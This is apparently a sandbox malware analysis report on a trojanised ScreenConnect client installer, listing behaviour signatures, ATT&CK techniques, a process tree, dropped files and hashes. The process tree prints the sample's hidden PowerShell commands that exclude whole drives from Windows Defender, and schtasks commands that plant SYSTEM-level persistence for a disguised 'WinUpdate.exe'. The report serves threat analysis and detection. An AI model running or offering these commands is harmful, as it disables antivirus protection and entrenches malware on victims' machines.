Overview

overview

8

Static

static

8

ScreenConn...up.exe

windows10-2004-x64

8

ScreenConn...up.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 06:55

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General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 7.1MB
  • Sample261027-hpykesssa1
  • SHA256 88af88c49365312586754d0dc40e20876a5d2b5ceea0314259d1b44f5770b653
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecutionpersistenceransomware

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 11 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 51 IoCs
  • Modifies registry class 32 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\68138a0921438719\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:1504
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5988
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 75CDDA04E358A4128F6E0B83BFF4BFB5 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1C29.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240721093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2836
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5372
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2879C2D92AF3CD5D4744FEF61358678E
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5744
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users','C:\Windows\Temp','C:\Windows','C:\ProgramData','C:\Program Files (x86)' -Force"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4800
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "try{Invoke-CimMethod -ClassName MSFT_MpPreference -Method Add -Namespace root/Microsoft/Windows/Defender -Arguments @{ExclusionPath=@('C:\','C:\Users','C:\Windows\Temp','C:\Windows','C:\ProgramData','C:\Program Files (x86)');Force=$True} -ErrorAction SilentlyContinue}catch{}"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:6036
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 169C8BF7C72A54D64F3F8D3F5CA735AC E Global\MSI0000
        2⤵
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5660
        • C:\ProgramData\SysMgr\WinUpdate.exe
          "C:\ProgramData\SysMgr\WinUpdate.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Reads the TCP/IP host and domain name from the registry
          • Modifies data under HKEY_USERS
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1704
          • C:\Windows\Temp\WinUpdate.exe
            "C:\Windows\Temp\WinUpdate.exe"
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of WriteProcessMemory
            PID:1520
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /Create /F /SC ONSTART /TN "AppDataCacheService" /TR "\"C:\Windows\Temp\WinUpdate.exe\"" /RU SYSTEM /RL HIGHEST
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4692
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /Create /F /SC ONLOGON /TN "AppDataCacheMonitor" /TR "\"C:\Windows\Temp\WinUpdate.exe\"" /RU SYSTEM /RL HIGHEST
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4424
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tmp-5433.bat"
            4⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4188
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 3
              5⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:3272
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Create /F /SC ONSTART /TN "AppDataCacheService" /TR "\"C:\ProgramData\SysMgr\WinUpdate.exe\"" /RU SYSTEM /RL HIGHEST
            4⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:1380
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Create /F /SC ONLOGON /TN "AppDataCacheMonitor" /TR "\"C:\ProgramData\SysMgr\WinUpdate.exe\"" /RU SYSTEM /RL HIGHEST
            4⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:712
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2624
    • C:\Windows\Temp\WinUpdate.exe
      "C:\Windows\Temp\WinUpdate.exe"
      1⤵
      • Executes dropped EXE
      PID:5512
    • C:\ProgramData\SysMgr\WinUpdate.exe
      "C:\ProgramData\SysMgr\WinUpdate.exe"
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:4204
      • C:\Windows\Temp\WinUpdate.exe
        "C:\Windows\Temp\WinUpdate.exe"
        2⤵
        • Executes dropped EXE
        PID:3512
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tmp-eb62.bat"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3528
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4400
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /Create /F /SC ONSTART /TN "AppDataCacheService" /TR "\"C:\ProgramData\SysMgr\WinUpdate.exe\"" /RU SYSTEM /RL HIGHEST
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6000
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /Create /F /SC ONLOGON /TN "AppDataCacheMonitor" /TR "\"C:\ProgramData\SysMgr\WinUpdate.exe\"" /RU SYSTEM /RL HIGHEST
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1640

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          2
          T1059

          PowerShell

          1
          T1059.001

          Windows Command Shell

          1
          T1059.003

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          Remote System Discovery

          1
          T1018

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          3
          T1016

          Internet Connection Discovery

          2
          T1016.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596e51.rbs
          • Path C:\Config.Msi\e596e51.rbs
          • Size 10KB
          • SHA256 32ed43778aa06124f8d96c394c0898d3cdf9dc0e4548c4efd769848269624798
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          WinUpdate.exe
          • Path C:\ProgramData\SysMgr\WinUpdate.exe
          • Size 1.1MB
          • SHA256 7a195b536b6159d66a57a16cb4a335f8c541e51e2f67c4aa6817959052e03908
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 21KB
          • SHA256 188a5da0f2ffd3aa471c8cb739290128f8611c84cfd788aedff7bafc5eb52679
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI1C29.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1C29.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1C29.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1C29.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1C29.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1C29.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientSetup.msi
          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\68138a0921438719\ScreenConnect.ClientSetup.msi
          • Size 15.2MB
          • SHA256 9cb9644a0439c0c6c4fff610bebd722c82103025920b12935bd4945c9921a13d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          __PSScriptPolicyTest_tfe4glkz.heq.psm1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tfe4glkz.heq.psm1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          tmp-5433.bat
          • Path C:\Users\Admin\AppData\Local\Temp\tmp-5433.bat
          • Size 149B
          • SHA256 fa24a3190243430db834718b578ee84158c6ef0524edcd85f4185f072b780c5e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          tmp-eb62.bat
          • Path C:\Users\Admin\AppData\Local\Temp\tmp-eb62.bat
          • Size 149B
          • SHA256 33c7c88c6cf780fe4f42bcf7eb1b92ab069ccfad8c6d70458dd9051ad1086d78
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSIA148.tmp
          • Path C:\Windows\Installer\MSIA148.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 766dd20add2b77cbf765877178b607bb5671a8cdb898707eace72980c26cb476
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {d8eb0fae-b78c-41c7-90a4-ada3793d111d}_OnDiskSnapshotProp
          • Path \??\Volume{af02990b-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d8eb0fae-b78c-41c7-90a4-ada3793d111d}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 0b3f950ca6c318d391573e4363f872d8d64ccec87963cc14b06e06c3131a338a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1492-9-0x0000000074E60000-0x000000007561C000-memory.dmp
          Download

          memory/1492-4-0x00000000052D0000-0x000000000535C000-memory.dmp
          Download

          memory/1492-0-0x0000000074E72000-0x0000000074E73000-memory.dmp
          Download

          memory/1492-12-0x0000000074E60000-0x000000007561C000-memory.dmp
          Download

          memory/1492-1-0x0000000002C80000-0x0000000002C88000-memory.dmp
          Download

          memory/1492-2-0x0000000005740000-0x0000000005BA2000-memory.dmp
          Download

          memory/1492-3-0x0000000074E60000-0x000000007561C000-memory.dmp
          Download

          memory/1492-8-0x0000000074E60000-0x000000007561C000-memory.dmp
          Download

          memory/1492-7-0x0000000005BA0000-0x000000000615A000-memory.dmp
          Download

          memory/1492-6-0x0000000005380000-0x000000000552C000-memory.dmp
          Download

          memory/1492-5-0x0000000005360000-0x0000000005382000-memory.dmp
          Download

          memory/1704-132-0x0000000180000000-0x0000000180058000-memory.dmp
          Download

          memory/2836-31-0x0000000003AF0000-0x0000000003B1E000-memory.dmp
          Download

          memory/2836-43-0x0000000005F30000-0x00000000060DC000-memory.dmp
          Download

          memory/2836-39-0x0000000005CF0000-0x0000000005D7C000-memory.dmp
          Download

          memory/2836-35-0x0000000003B20000-0x0000000003B2A000-memory.dmp
          Download

          memory/4800-60-0x0000000005680000-0x00000000059DB000-memory.dmp
          Download

          memory/4800-59-0x0000000005560000-0x00000000055C6000-memory.dmp
          Download

          memory/4800-68-0x0000000006C50000-0x0000000006CF3000-memory.dmp
          Download

          memory/4800-69-0x00000000073F0000-0x0000000007A6C000-memory.dmp
          Download

          memory/4800-70-0x0000000006DB0000-0x0000000006DCA000-memory.dmp
          Download

          memory/4800-71-0x0000000006E20000-0x0000000006E2A000-memory.dmp
          Download

          memory/4800-72-0x0000000007020000-0x00000000070B6000-memory.dmp
          Download

          memory/4800-64-0x0000000072F90000-0x0000000072FDC000-memory.dmp
          Download

          memory/4800-53-0x0000000002570000-0x00000000025A6000-memory.dmp
          Download

          memory/4800-54-0x0000000004F10000-0x000000000555A000-memory.dmp
          Download

          memory/4800-55-0x0000000004D80000-0x0000000004DA2000-memory.dmp
          Download

          memory/4800-58-0x0000000004E20000-0x0000000004E86000-memory.dmp
          Download

          memory/4800-67-0x0000000006010000-0x0000000006030000-memory.dmp
          Download

          memory/4800-63-0x0000000006BF0000-0x0000000006C26000-memory.dmp
          Download

          memory/4800-62-0x0000000005A80000-0x0000000005ACC000-memory.dmp
          Download

          memory/4800-61-0x0000000005A60000-0x0000000005A7E000-memory.dmp
          Download

          memory/5988-77-0x0000023252A70000-0x0000023253414000-memory.dmp
          Download

          memory/6036-83-0x0000000071F60000-0x00000000722BB000-memory.dmp
          Download

          memory/6036-82-0x00000000074C0000-0x00000000074E4000-memory.dmp
          Download

          memory/6036-81-0x0000000007320000-0x000000000734A000-memory.dmp
          Download

          memory/6036-78-0x0000000072F90000-0x0000000072FDC000-memory.dmp
          Download